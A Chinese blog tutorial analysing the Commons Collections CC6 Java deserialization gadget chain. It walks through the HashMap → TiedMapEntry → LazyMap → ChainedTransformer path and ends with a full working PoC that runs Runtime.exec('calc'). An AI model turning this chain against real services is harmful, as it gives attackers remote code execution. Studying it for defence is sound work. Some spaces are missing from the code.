Java安全 反序列化(5) CC6链原理分析
CC6学习的目的在于其可以无视jdk版本,这条链子更像CC1-LazyMap和URLDNS链子的缝合版
文章目录
前言
上篇文章我们通过
LazyMap.get()
方法实现
ChainerTransformer
的链式调用
但是我们再次依赖了
AnnotationInvocationHandler
作为我们反序列化后的入口类
在JDK 8u71以后开发者重写了
AnnotationInvocationHandler
使我们依赖
AnnotationInvocationHandler
调用
LazyMap.get()
和
TransformerMap.checkSetValue
实现ChaindeTransformer.transform()方法失效
如何让调用
ChaindeTransformer.transform()
执行任意命令可以无视JDK版本?
我们知道URLDNS链具有普遍性,我们可以同样通过HashMap实现入口类吗?
通过自动调用hashcode方法最终实现
ChainerTransformer
的链式调用
一.CC6的原理和实现以及易错点
我们如何实现调用LazyMap.get()方法
如果我们查找用法,会发现非常多的结果
前辈们通过
TiedMapEntry
类实现
HashMap
和
LazyMap
的联系
回顾一下HashMap重写了readobject方法
putVal(hash(key), key, value,false,false);
staticfinalinthash(Object key){int h;return(key ==null)?0:(h = key.hashCode())^(h >>>16);}
调用了传入键值对象的hashCode方法
而TiedMapEntry同样有同名函数hashCode方法,可以实现链式的转移
hashCode方法调用了自身getValue方法
而恰好getValue方法可以调用传入map的get方法
map我们可以控制,修改为LazyMap,不就是和CC1-LazyMap的后半部分一模一样
我们可以直接拿上篇文章的payload进行修改后半段
Transformer[] transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};HashMap<Object,Object> hashmap=newHashMap<>();ChainedTransformer chainedTransformer =newChainedTransformer(transformers);Map<Object,Object> lazymap=LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry接受
Map map,Object key
我们需要控制map为LazyMap对象,key值任意
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
而HashMap中控制key值为tiedMapEntry
HashMap<Object,Object> map2=newHashMap<>();
map2.put(tiedMapEntry,1);
一个易错点
当我们不反序列化时,直接执行代码,居然也可以RCE
Transformer[] transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};HashMap<Object,Object> hashmap=newHashMap<>();ChainedTransformer chainedTransformer =newChainedTransformer(transformers);Map<Object,Object> lazymap=LazyMap.decorate(hashmap,chainedTransformer);TiedMapEntry tiedMapEntry =newTiedMapEntry(lazymap,"key");HashMap<Object,Object> map2=newHashMap<>();
map2.put(tiedMapEntry,1);}
原因和URLDNS链那里一样,因为HashMap的put方法也可以调用hashcode方法
对我们的结果造成干扰
因此我们应该和URLDNS链操作一致,先不让CC链触发,实现后触发
如何操作?
Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));
我们可以随便传个
new ConstantTransformer(1)
代替
chainedTransformer
使它put时不触发,put后再传回正确的值
同时还要注意再
LazyMap.get()
方法中想要实现
ChainedTransformer.transform()
就必须保证LazyMap的Key为空
而HashMap.put()方法后,返回了key值,因此key不再为空,后续不可以触发
factory.transform(key)
过不了判断
所以put后我们删除LazyMap的键值
lazymap.remove("key");
再通过反射修改
LazyMap.decorate(hashmap,new ConstantTransformer(1));
中的键为
ChaindeTransformer
在运行时动态触发poc
Class c=LazyMap.class;Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
可以实现RCE
二.完整CC6POC
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.keyvalue.TiedMapEntry;importorg.apache.commons.collections.map.LazyMap;importjava.io.*;importjava.lang.reflect.Field;importjava.util.HashMap;importjava.util.Map;publicclassCC6{publicstaticvoidmain(String[] args)throwsNoSuchFieldException,IllegalAccessException,IOException,ClassNotFoundException{Transformer[] transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};HashMap<Object,Object> hashmap=newHashMap<>();ChainedTransformer chainedTransformer =newChainedTransformer(transformers);Map<Object,Object> lazymap=LazyMap.decorate(hashmap,newConstantTransformer(1));TiedMapEntry tiedMapEntry =newTiedMapEntry(lazymap,"key");HashMap<Object,Object> map2=newHashMap<>();
map2.put(tiedMapEntry,1);
lazymap.remove("key");Class c=LazyMap.class;Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);serialize(map2);unserialize();}publicstaticvoidserialize(Object obj)throwsIOException{ObjectOutputStream oos =newObjectOutputStream(newFileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();}publicstaticvoidunserialize()throwsIOException,ClassNotFoundException{ObjectInputStream ois =newObjectInputStream(newFileInputStream("ser.bin"));
ois.readObject();
ois.close();}}
版权归原作者 J1rrY_ 所有, 如有侵权,请联系我们删除。